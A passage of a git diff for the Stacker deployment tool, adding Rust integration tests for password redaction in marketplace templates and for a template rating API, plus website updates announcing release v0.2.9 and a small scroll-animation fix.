+        .get(format!("{}/api/v1/templates/{}", app.address, slug))
+        .send()
+        .await
+        .expect("v1 detail request");
+
+    assert_eq!(StatusCode::OK, response.status());
+
+    let body: Value = response.json().await.expect("json body");
+    let sd = &body["item"]["latest_version"]["stack_definition"];
+
+    let vars = sd["deploy"]["stack"]["vars"]
+        .as_array()
+        .expect("vars array");
+
+    let password_var = vars
+        .iter()
+        .find(|v| v["key"] == "DB_PASSWORD")
+        .expect("DB_PASSWORD var");
+
+    assert_eq!(
+        "***REDACTED***", password_var["value"],
+        "/api/v1/templates/{slug} must redact DB_PASSWORD"
+    );
+}
+
+// ────────────────────────────────────────────────────────────────────
+// YAML format templates (definition_format = 'yaml')
+// This is the format used by real marketplace templates like myproject15
+// ────────────────────────────────────────────────────────────────────
+
+#[tokio::test]
+async fn yaml_stack_definition_has_passwords_redacted() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+
+    let slug = "redact-test-yaml-format";
+    seed_template_with_sensitive_yaml_definition(&app.db_pool, slug).await;
+
+    let response = reqwest::Client::new()
+        .get(format!("{}/api/templates/{}", app.address, slug))
+        .send()
+        .await
+        .expect("detail request");
+
+    assert_eq!(StatusCode::OK, response.status());
+
+    let body: Value = response.json().await.expect("json body");
+    let sd = body["item"]["latest_version"]["stack_definition"]
+        .as_str()
+        .expect("stack_definition must be a YAML string");
+
+    assert!(
+        !sd.contains("admin123"),
+        "FLOWISE_PASSWORD plaintext must not appear: {}",
+        sd
+    );
+    assert!(
+        !sd.contains("Qwerty123"),
+        "DATABASE_PASSWORD plaintext must not appear: {}",
+        sd
+    );
+    assert!(
+        !sd.contains("change-me-please"),
+        "SECRETKEY plaintext must not appear: {}",
+        sd
+    );
+    assert!(
+        sd.contains("***REDACTED***"),
+        "redacted marker must be present: {}",
+        sd
+    );
+    // Non-sensitive values must survive
+    assert!(
+        sd.contains("localhost") || sd.contains("APP_HOST"),
+        "APP_HOST must survive: {}",
+        sd
+    );
+    assert!(
+        sd.contains("admin") || sd.contains("FLOWISE_USERNAME"),
+        "FLOWISE_USERNAME (non-sensitive) must survive: {}",
+        sd
+    );
+}
diff --git a/tests/marketplace_template_rating.rs b/tests/marketplace_template_rating.rs
new file mode 100644
index 00000000..2c638127
--- /dev/null
+++ b/tests/marketplace_template_rating.rs
@@ -0,0 +1,232 @@
+mod common;
+
+use reqwest::StatusCode;
+use serde_json::{json, Value};
+use sqlx::Row;
+
+const USER_TOKEN: &str = "test-bearer-token";
+
+async fn seed_template(app: &common::TestApp, slug: &str) -> uuid::Uuid {
+    let vendor = common::seed_marketplace_vendor_fixture(&app.db_pool, "acme-cloud").await;
+    common::seed_marketplace_template_fixtures_for_vendor(&app.db_pool, &vendor.creator_user_id)
+        .await;
+
+    sqlx::query("SELECT id FROM stack_template WHERE slug = $1")
+        .bind(slug)
+        .fetch_one(&app.db_pool)
+        .await
+        .expect("seeded template should exist")
+        .get("id")
+}
+
+#[tokio::test]
+async fn public_rating_summary_does_not_create_product_for_unrated_template() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+    let template_id = seed_template(&app, "wordpress-pro").await;
+
+    let before: Option<i32> = sqlx::query("SELECT product_id FROM stack_template WHERE id = $1")
+        .bind(template_id)
+        .fetch_one(&app.db_pool)
+        .await
+        .expect("template lookup should work")
+        .get("product_id");
+    assert_eq!(None, before);
+
+    let response = reqwest::Client::new()
+        .get(format!(
+            "{}/api/templates/{}/rating/summary",
+            app.address, template_id
+        ))
+        .send()
+        .await
+        .expect("Failed to fetch template rating summary");
+
+    assert_eq!(StatusCode::OK, response.status());
+    let body: Value = response.json().await.expect("summary JSON");
+    assert!(body["item"]["rating"].is_null());
+    assert_eq!(0, body["item"]["rating_count"]);
+
+    let after: Option<i32> = sqlx::query("SELECT product_id FROM stack_template WHERE id = $1")
+        .bind(template_id)
+        .fetch_one(&app.db_pool)
+        .await
+        .expect("template lookup should work")
+        .get("product_id");
+    assert_eq!(None, after);
+}
+
+#[tokio::test]
+async fn user_can_rate_template_by_template_id_without_product_id_knowledge() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+    let template_id = seed_template(&app, "wordpress-pro").await;
+
+    let response = reqwest::Client::new()
+        .put(format!(
+            "{}/api/templates/{}/rating",
+            app.address, template_id
+        ))
+        .bearer_auth(USER_TOKEN)
+        .json(&json!({
+            "rating": 5,
+            "comment": "Excellent marketplace template"
+        }))
+        .send()
+        .await
+        .expect("Failed to rate template");
+
+    assert_eq!(StatusCode::OK, response.status());
+    let body: Value = response.json().await.expect("rating response JSON");
+    assert_eq!(Some(5.0), body["item"]["rating"].as_f64());
+    assert_eq!(5, body["item"]["rating_scale"]);
+    assert_eq!("Excellent marketplace template", body["item"]["comment"]);
+
+    let summary = reqwest::Client::new()
+        .get(format!(
+            "{}/api/templates/{}/rating/summary",
+            app.address, template_id
+        ))
+        .send()
+        .await
+        .expect("Failed to fetch template rating summary");
+
+    assert_eq!(StatusCode::OK, summary.status());
+    let summary: Value = summary.json().await.expect("summary JSON");
+    assert_eq!(Some(5.0), summary["item"]["rating"].as_f64());
+    assert_eq!(1, summary["item"]["rating_count"]);
+    assert_eq!(5, summary["item"]["rating_scale"]);
+}
+
+#[tokio::test]
+async fn user_rating_upsert_updates_existing_template_rating() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+    let template_id = seed_template(&app, "wordpress-pro").await;
+    let client = reqwest::Client::new();
+
+    let first = client
+        .put(format!(
+            "{}/api/templates/{}/rating",
+            app.address, template_id
+        ))
+        .bearer_auth(USER_TOKEN)
+        .json(&json!({ "rating": 5, "comment": "first" }))
+        .send()
+        .await
+        .expect("Failed to create rating");
+    assert_eq!(StatusCode::OK, first.status());
+
+    let second = client
+        .put(format!(
+            "{}/api/templates/{}/rating",
+            app.address, template_id
+        ))
+        .bearer_auth(USER_TOKEN)
+        .json(&json!({ "rating": 4, "comment": "updated" }))
+        .send()
+        .await
+        .expect("Failed to update rating");
+    assert_eq!(StatusCode::OK, second.status());
+
+    let body: Value = second.json().await.expect("updated rating JSON");
+    assert_eq!(Some(4.0), body["item"]["rating"].as_f64());
+    assert_eq!("updated", body["item"]["comment"]);
+
+    let count: i64 = sqlx::query(
+        "SELECT COUNT(*)::bigint AS count FROM rating r JOIN stack_template t ON t.product_id = r.obj_id WHERE t.id = $1",
+    )
+    .bind(template_id)
+    .fetch_one(&app.db_pool)
+    .await
+    .expect("rating count query should work")
+    .get("count");
+    assert_eq!(1, count);
+}
+
+#[tokio::test]
+async fn user_can_fetch_and_delete_own_template_rating() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+    let template_id = seed_template(&app, "wordpress-pro").await;
+    let client = reqwest::Client::new();
+
+    let create = client
+        .put(format!(
+            "{}/api/templates/{}/rating",
+            app.address, template_id
+        ))
+        .bearer_auth(USER_TOKEN)
+        .json(&json!({ "rating": 3, "comment": "ok" }))
+        .send()
+        .await
+        .expect("Failed to create rating");
+    assert_eq!(StatusCode::OK, create.status());
+
+    let mine = client
+        .get(format!(
+            "{}/api/templates/{}/rating/me",
+            app.address, template_id
+        ))
+        .bearer_auth(USER_TOKEN)
+        .send()
+        .await
+        .expect("Failed to fetch my rating");
+    assert_eq!(StatusCode::OK, mine.status());
+    let mine: Value = mine.json().await.expect("my rating JSON");
+    assert_eq!(Some(3.0), mine["item"]["rating"].as_f64());
+
+    let delete = client
+        .delete(format!(
+            "{}/api/templates/{}/rating",
+            app.address, template_id
+        ))
+        .bearer_auth(USER_TOKEN)
+        .send()
+        .await
+        .expect("Failed to delete my rating");
+    assert_eq!(StatusCode::OK, delete.status());
+
+    let summary = client
+        .get(format!(
+            "{}/api/templates/{}/rating/summary",
+            app.address, template_id
+        ))
+        .send()
+        .await
+        .expect("Failed to fetch summary after delete");
+    assert_eq!(StatusCode::OK, summary.status());
+    let summary: Value = summary.json().await.expect("summary JSON");
+    assert!(summary["item"]["rating"].is_null());
+    assert_eq!(0, summary["item"]["rating_count"]);
+}
+
+#[tokio::test]
+async fn template_rating_rejects_invalid_star_values() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+    let template_id = seed_template(&app, "wordpress-pro").await;
+
+    let response = reqwest::Client::new()
+        .put(format!(
+            "{}/api/templates/{}/rating",
+            app.address, template_id
+        ))
+        .bearer_auth(USER_TOKEN)
+        .json(&json!({ "rating": 6 }))
+        .send()
+        .await
+        .expect("Failed to submit invalid rating");
+
+    assert_eq!(StatusCode::BAD_REQUEST, response.status());
+}
diff --git a/website/assets/stacker-logomark.png b/website/assets/stacker-logomark.png
new file mode 100644
index 00000000..08eaea99
Binary files /dev/null and b/website/assets/stacker-logomark.png differ
diff --git a/website/dist/assets/stacker-logomark.png b/website/dist/assets/stacker-logomark.png
new file mode 100644
index 00000000..08eaea99
Binary files /dev/null and b/website/dist/assets/stacker-logomark.png differ
diff --git a/website/dist/index.html b/website/dist/index.html
index edd79692..ec9de490 100644
--- a/website/dist/index.html
+++ b/website/dist/index.html
@@ -3,8 +3,8 @@
 <head>
   <meta charset="UTF-8">
   <meta name="viewport" content="width=device-width, initial-scale=1.0">
-  <title>Stacker v0.2.8 — AI Infrastructure CLI by TryDirect</title>
-  <meta name="description" content="Stacker v0.2.8 scans your project, deploys to cloud or bare metal, manages remote service secrets, cloud firewalls, agents, and app pipes — all from your terminal.">
+  <title>Stacker v0.2.9 — AI Infrastructure CLI by TryDirect</title>
+  <meta name="description" content="Stacker v0.2.9 scans your project, deploys to cloud or bare metal, manages remote service secrets, cloud firewalls, agents, and app pipes — all from your terminal.">
   <meta name="theme-color" content="#7e57c2">
   <link rel="icon" type="image/png" href="assets/stacker-logo.png">
   <link rel="stylesheet" href="styles.css">
@@ -20,7 +20,7 @@
   <nav class="nav" id="nav">
     <div class="nav__inner">
       <a href="#" class="nav__logo">
-        <img src="assets/stacker-logo.png" alt="Stacker" class="nav__logo-img">
+        <img src="assets/stacker-logomark.png" alt="Stacker" class="nav__logo-img">
         <span class="nav__logo-text">stacker</span>
       </a>
       <div class="nav__links" id="navLinks">
@@ -52,7 +52,7 @@
       <div class="hero__content">
         <div class="hero__badge" data-animate="fade-up">
           <span class="hero__badge-dot"></span>
-          New Release v0.2.8 &middot; AI-Powered &middot; Cloud + Bare Metal
+          New Release v0.2.9 &middot; AI-Powered &middot; Cloud + Bare Metal
         </div>
         <h1 class="hero__title" data-animate="fade-up" data-delay="100">
           Ship your stack from code to server<br>
@@ -74,20 +74,20 @@ <h1 class="hero__title" data-animate="fade-up" data-delay="100">
           </a>
         </div>
         <div class="hero__release" data-animate="fade-up" data-delay="350">
-          <div class="hero__release-version">v0.2.8</div>
+          <div class="hero__release-version">v0.2.9</div>
           <p class="hero__release-text">
-            Latest release includes <strong>remote service secrets</strong>, <strong>cloud firewalls</strong>,
-            <strong>IP persistence</strong>, <strong>MCP secret tools</strong>, and hardened agent operations.
+            Latest release includes <strong>AI config setup CLI</strong>, <strong>OAuth device auth</strong>,
+            <strong>.env bootstrapping</strong>, <strong>Hetzner location fixes</strong>, and hardened agent health &amp; logs.
           </p>
           <div class="hero__release-chips">
-            <span class="hero__release-chip">Pipe automation</span>
-            <span class="hero__release-chip">Agent ops</span>
-            <span class="hero__release-chip">Kata isolation</span>
-            <span class="hero__release-chip">Marketplace flows</span>
-            <span class="hero__release-chip">Service secrets</span>
-            <span class="hero__release-chip">Cloud firewall</span>
-            <span class="hero__release-chip">IP retention</span>
-            <span class="hero__release-chip">MCP tools</span>
+            <span class="hero__release-chip">AI setup CLI</span>
+            <span class="hero__release-chip">Device auth</span>
+            <span class="hero__release-chip">.env bootstrap</span>
+            <span class="hero__release-chip">Preflight checks</span>
+            <span class="hero__release-chip">npm networking</span>
+            <span class="hero__release-chip">Agent health</span>
+            <span class="hero__release-chip">Config promote</span>
+            <span class="hero__release-chip">Hetzner fixes</span>
           </div>
         </div>
         <div class="hero__terminal" data-animate="fade-up" data-delay="400">
@@ -203,49 +203,69 @@ <h3 class="feature-card__title">SSH Key Management</h3>
     <div class="container">
       <div class="section__header" data-animate="fade-up">
         <span class="section__label">Latest Release</span>
-        <h2 class="section__title">Stacker v0.2.8<br><span class="gradient-text">brings safer operator workflows.</span></h2>
-        <p class="section__desc">The newest release improves remote service secrets, cloud firewall operations, paused install recovery, and MCP coverage for AI-driven infrastructure work.</p>
+        <h2 class="section__title">Stacker v0.2.9<br><span class="gradient-text">brings smarter onboarding &amp; deploy reliability.</span></h2>
+        <p class="section__desc">The newest release adds AI config setup from the CLI, OAuth device auth, .env bootstrapping on deploy, improved Hetzner support, and hardened agent health and log workflows.</p>
       </div>
       <div class="release__grid">
         <article class="release-card" data-animate="fade-up" data-delay="0">
-          <span class="release-card__eyebrow">Secrets</span>
-          <h3 class="release-card__title">Remote service targets</h3>
-          <p class="release-card__desc">Store Vault-backed secrets for deployable service/app targets from stacker.yml and supported Compose services, with metadata-only reads.</p>
+          <span class="release-card__eyebrow">AI Setup</span>
+          <h3 class="release-card__title">stacker config setup ai</h3>
+          <p class="release-card__desc">Configure your AI provider, endpoint, model, and tasks directly from the CLI — Ollama-friendly with <code>--provider</code>, <code>--endpoint</code>, and <code>--model</code> flags.</p>
         </article>
         <article class="release-card" data-animate="fade-up" data-delay="100">
-          <span class="release-card__eyebrow">Operations</span>
-          <h3 class="release-card__title">Cloud firewall controls</h3>
-          <p class="release-card__desc">Open, remove, and list provider firewall rules without SSH, while guest OS firewall operations remain available through the agent.</p>
+          <span class="release-card__eyebrow">Auth</span>
+          <h3 class="release-card__title">OAuth device authorization</h3>
+          <p class="release-card__desc">Browser-free device auth flow with default auth and API URLs stored in <code>~/.config/stacker/config.yml</code>. <code>stacker login</code> now works in headless environments.</p>
         </article>
         <article class="release-card" data-animate="fade-up" data-delay="200">
-          <span class="release-card__eyebrow">Security</span>
-          <h3 class="release-card__title">Paused install recovery</h3>
-          <p class="release-card__desc">Cloud/server deployments now keep discovered IP addresses even when installers pause or fail, improving SSH repair and retry workflows.</p>
+          <span class="release-card__eyebrow">Deploy</span>
+          <h3 class="release-card__title">.env bootstrapping</h3>
+          <p class="release-card__desc">Cloud and server deploys automatically create missing <code>.env</code> files from adjacent <code>.env.example</code> files, with restrictive local permissions where supported.</p>
         </article>
         <article class="release-card" data-animate="fade-up" data-delay="300">
-          <span class="release-card__eyebrow">MCP</span>
-          <h3 class="release-card__title">Remote secret tools</h3>
-          <p class="release-card__desc">AI clients can list remote secret targets and manage service secret metadata while plaintext values stay in Vault.</p>
+          <span class="release-card__eyebrow">Reliability</span>
+          <h3 class="release-card__title">Preflight checks</h3>
+          <p class="release-card__desc">New preflight validation catches config-bundle issues, rejects absolute destinations, and lists file mappings before sending deploy requests to avoid silent failures.</p>
+        </article>
+        <article class="release-card" data-animate="fade-up" data-delay="0">
+          <span class="release-card__eyebrow">Networking</span>
+          <h3 class="release-card__title">npm default network</h3>
+          <p class="release-card__desc">Projects using npm now automatically get a default external network injected so services can communicate without manual compose network configuration.</p>
+        </article>
+        <article class="release-card" data-animate="fade-up" data-delay="100">
+          <span class="release-card__eyebrow">Agent</span>
+          <h3 class="release-card__title">Health, logs &amp; npm detection</h3>
+          <p class="release-card__desc">Agent health checks, log streaming, and npm project detection are all fixed. Separator widths are consistent. Hardened for live production environments.</p>
+        </article>
+        <article class="release-card" data-animate="fade-up" data-delay="200">
+          <span class="release-card__eyebrow">Cloud</span>
+          <h3 class="release-card__title">Hetzner location fixes</h3>
+          <p class="release-card__desc">Location aliases like <code>nbg1</code> are now normalized to installer-compatible datacenter values such as <code>nbg1-dc3</code>. Default server type updated to <code>cx23</code>.</p>
+        </article>
+        <article class="release-card" data-animate="fade-up" data-delay="300">
+          <span class="release-card__eyebrow">Config</span>
+          <h3 class="release-card__title">Config promote &amp; inventory</h3>
+          <p class="release-card__desc">Promote config keys across environments, diff inventories, check contracts, and use <code>--remote</code> to enrich targets with Vault-backed secret metadata without fetching values.</p>
         </article>
         <article class="release-card" data-animate="fade-up" data-delay="0">
-          <span class="release-card__eyebrow">Automation</span>
-          <h3 class="release-card__title">Pipes</h3>
-          <p class="release-card__desc">Create, activate, trigger, replay, and inspect pipe executions to move data between apps without building glue code first.</p>
+          <span class="release-card__eyebrow">Secrets</span>
+          <h3 class="release-card__title">Remote service secrets</h3>
+          <p class="release-card__desc">Store Vault-backed secrets for deployable service and app targets from <code>stacker.yml</code> and supported Compose services, with metadata-only reads for safe inspection.</p>
         </article>
         <article class="release-card" data-animate="fade-up" data-delay="100">
           <span class="release-card__eyebrow">Operations</span>
-          <h3 class="release-card__title">Remote agent control</h3>
-          <p class="release-card__desc">Health checks, logs, deploy-app, configure-proxy, and configure-firewall remain first-class CLI workflows for live environments.</p>
+          <h3 class="release-card__title">Cloud firewall controls</h3>
+          <p class="release-card__desc">Open, remove, and list provider firewall rules without SSH, while guest OS firewall operations remain available through the agent for fine-grained control.</p>
         </article>
         <article class="release-card" data-animate="fade-up" data-delay="200">
-          <span class="release-card__eyebrow">Runtime</span>
-          <h3 class="release-card__title">Kata runtime isolation</h3>
-          <p class="release-card__desc">Choose <code>kata</code> for stronger container isolation while keeping <code>runc</code> as the fast default for standard workloads.</p>
+          <span class="release-card__eyebrow">MCP</span>
+          <h3 class="release-card__title">Remote secret tools</h3>
+          <p class="release-card__desc">AI clients can list remote secret targets and manage service secret metadata through the MCP server while plaintext values stay safely in Vault.</p>
         </article>
         <article class="release-card" data-animate="fade-up" data-delay="300">
           <span class="release-card__eyebrow">Distribution</span>
           <h3 class="release-card__title">Marketplace workflows</h3>
-          <p class="release-card__desc">Submit stacks for review, track approval status, and inspect reviewer feedback directly from the CLI.</p>
+          <p class="release-card__desc">Submit stacks for review with <code>stacker submit</code>, track approval status, and inspect reviewer feedback directly from the CLI with <code>stacker marketplace</code>.</p>
         </article>
       </div>
     </div>
@@ -637,6 +657,28 @@ <h2 class="section__title">Deploy anywhere.<br><span class="gradient-text">Your
     </div>
   </section>
 
+  <!-- Q&A Section -->
+  <section class="section" id="qa">
+    <div class="container">
+      <div class="section__header" data-animate="fade-up">
+        <span class="section__label">Q&amp;A</span>
+        <h2 class="section__title">Common deployment questions.<br><span class="gradient-text">Answered directly.</span></h2>
+      </div>
+      <div class="release__grid">
+        <article class="release-card" data-animate="fade-up">
+          <span class="release-card__eyebrow">Agents</span>
+          <h3 class="release-card__title">Can one Stacker project have more than one agent?</h3>
+          <p class="release-card__desc">Yes. A single project can have multiple deployments, and each deployment runs its own Status Panel agent. That means staging and production can belong to the same project while still using different agents on different servers.</p>
+        </article>
+        <article class="release-card" data-animate="fade-up" data-delay="100">
+          <span class="release-card__eyebrow">Targeting</span>
+          <h3 class="release-card__title">How do I talk to the right agent?</h3>
+          <p class="release-card__desc">Use <code>--deployment &lt;hash&gt;</code> when a project has more than one deployment. Without it, the CLI resolves the target from the local deployment lock or falls back to the most recently active deployment found from <code>stacker.yml</code>.</p>
+        </article>
+      </div>
+    </div>
+  </section>
+
   <!-- CTA Section -->
   <section class="section cta" id="cta">
     <div class="container">
@@ -720,6 +762,6 @@ <h4>Community</h4>
     </div>
   </footer>
 
-  <script src="main.js"></script>
+  <script type="module" src="main.js"></script>
 </body>
 </html>
diff --git a/website/dist/main.js b/website/dist/main.js
index 3a7a02e7..f136a6df 100644
--- a/website/dist/main.js
+++ b/website/dist/main.js
@@ -3,7 +3,6 @@
 // Stacker Website — TypeScript Interactions
 // Particle system, typing effect, scroll animations, counters
 // ============================================================
-Object.defineProperty(exports, "__esModule", { value: true });
 class ParticleSystem {
     constructor(canvas) {
         this.particles = [];
@@ -195,8 +194,17 @@ class ScrollAnimator {
                 }
             });
         }, { threshold: 0.1, rootMargin: '0px 0px -50px 0px' });
+        const vh = window.innerHeight;
         document.querySelectorAll('[data-animate]').forEach((el) => {
-            this.observer.observe(el);
+            const rect = el.getBoundingClientRect();
+            if (rect.top < vh) {
+                // Element is already in the viewport — show it immediately
+                const delay = parseInt(el.dataset.delay || '0', 10);
+                setTimeout(() => el.classList.add('is-visible'), delay);
+            }
+            else {
+                this.observer.observe(el);
+            }
         });
     }
 }
diff --git a/website/dist/main.js.map b/website/dist/main.js.map
index 9c66728d..fbfb3201 100644
--- a/website/dist/main.js.map
+++ b/website/dist/main.js.map
@@ -1 +1 @@
-{"version":3,"file":"main.js","sourceRoot":"","sources":["../src/main.ts"],"names":[],"mappings":"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